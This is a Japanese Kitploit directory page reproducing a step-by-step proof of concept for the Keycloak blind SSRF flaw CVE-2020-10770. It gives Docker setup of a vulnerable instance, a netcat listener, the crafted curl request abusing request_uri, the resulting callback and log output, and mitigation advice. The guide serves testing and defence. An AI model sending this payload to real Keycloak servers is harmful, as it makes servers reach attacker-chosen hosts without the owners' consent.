Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-10770-keycloak-exploit-poc — KeycloakのブラインドSSRF脆弱性(CVE-2020-10770)を再現するためのステップバイステップガイド。Dockerセットアップ、リスナー設定、緩和策のアドバイスを含みます。 | Kitploit
ツール/GitHubGitHub/0xlyvio/cve-2020-10770-keycloak-exploit-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHub0xlyvio/cve-2020-10770-keycloak-exploit-poc

CVE-2020-10770-keycloak-exploit-poc

KeycloakのブラインドSSRF脆弱性(CVE-2020-10770)を再現するためのステップバイステップガイド。Dockerセットアップ、リスナー設定、緩和策のアドバイスを含みます。

リポジトリを見る
1日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Keycloak Blind SSRF POC

これは、Lauritz Holtmann氏が発見し、彼のブログ記事で文書化したBlind SSRF (CVE-2020-10770)のテスト方法に関するステップバイステップの解説です。 彼はまた、テスト方法を簡単に説明しています。これは、より詳細な説明です。

すべての功績はLauritz氏に帰属します。

セットアップ

ここではMac OSX上のDockerを使用します。 3つのシェルが必要です。1つはKeycloakインスタンスを実行するもの、1つはリスナー用、もう1つはcurlリクエスト用です。

防御側

バージョン <= 12.0.1 の実行中のKeycloakインスタンスが必要です。 以下のコマンドでテストインスタンスを起動できます。

root@kitploit:~
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1

ブラウザで http://localhost:8080/auth/admin/ にアクセスし、ユーザー名「admin」、パスワード「admin」でログインします。

左側のメニューで「Clients」に切り替えます。これでClientsの概要画面が表示されます。 Oauth2 client overview

右側の「Create」をクリックして、新しいクライアントを作成します。これでクライアント作成ページが表示されます。 Oauth2 client creation

Oauth2クライアントに適切な「Client ID」を選択します。ここでは「blueteamoauth2client」を使用します(これがあなたの<Keycloak_Client_ID>です)。別のClient IDを使用する場合は、攻撃用HTTPリクエスト内のクエリパラメータを変更する必要があります。「Save」をクリックしてクライアントのセットアップを完了します。

Oauth2 client creation

これで、新しいOauth2クライアントの設定が表示されます。 Oauth2 client creation

防御側の設定は以上です。

攻撃側

リスナー

SSRFでトリガーしたいリクエストを受け付けるリスナーが必要です。したがって、IPとポートはKeycloakサーバーから到達可能である必要があります。 この場合、localhostは使用できません。Keycloakの視点から見ると、localhostはコンテナ自体を指すからです。 Mac OSでIPアドレスを取得するには、以下を使用できます。

root@kitploit:~
for iface in $(ifconfig  | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done

私はホストシステム上のポート4444でリスナーを起動することにしました。

root@kitploit:~
nc -v -l 4444

攻撃

別のシェルで、curlを使用して1つのリクエストを実行する必要があります。これはあなたの要件に合わせて変更する必要があります。

root@kitploit:~
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"

重要な部分は以下の通りです:

  • <Keycloak_host_or_ip> 私の場合は「localhost」。
  • <Keycloak_port> 私の場合は「8080」。
  • <Keycloak_realm> Keycloakで使用されるレルム。デフォルトは「master」です。ここではそれを使用します。
  • <Netcat_listener_ip> netcatリスナーのIPアドレス。
  • <Netcat_listener_port> netcatリスナーのポート。

したがって、私の場合のクエリは以下の通りです。

root@kitploit:~
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"

結果

netcatリスナーには、次のような出力が表示されます。

root@kitploit:~
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate

bash-3.2$

これは、Keycloakインスタンスがあなたのリスナーに対してHTTPコールを実行したことを意味します。

Keycloakのログにも、これに関するエントリが記録されます。

root@kitploit:~
13:37:28,855 WARN  [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
	at java.base/java.net.SocketInputStream.socketRead0(Native Method)
	at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN  [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request

緩和策

これを緩和するには、以下のいずれかを実行できます。

  • Keycloakをバージョン >= 12.0.2 に更新する。
  • Keycloakの前段にあるリバースプロキシが、クエリパラメータ「request_uri」を含むすべてのリクエストをドロップするようにする。

謝辞

SSRFの発見と報告、ブログ記事の執筆、そしてこのテスト方法の初期ヒントを提供してくれたLauritz氏に感謝します。 リバースプロキシでクエリパラメータ「request_uri」を含むリクエストをブロックするアイデアを提供してくれたSebastian氏に感謝します。

ツールをダウンロード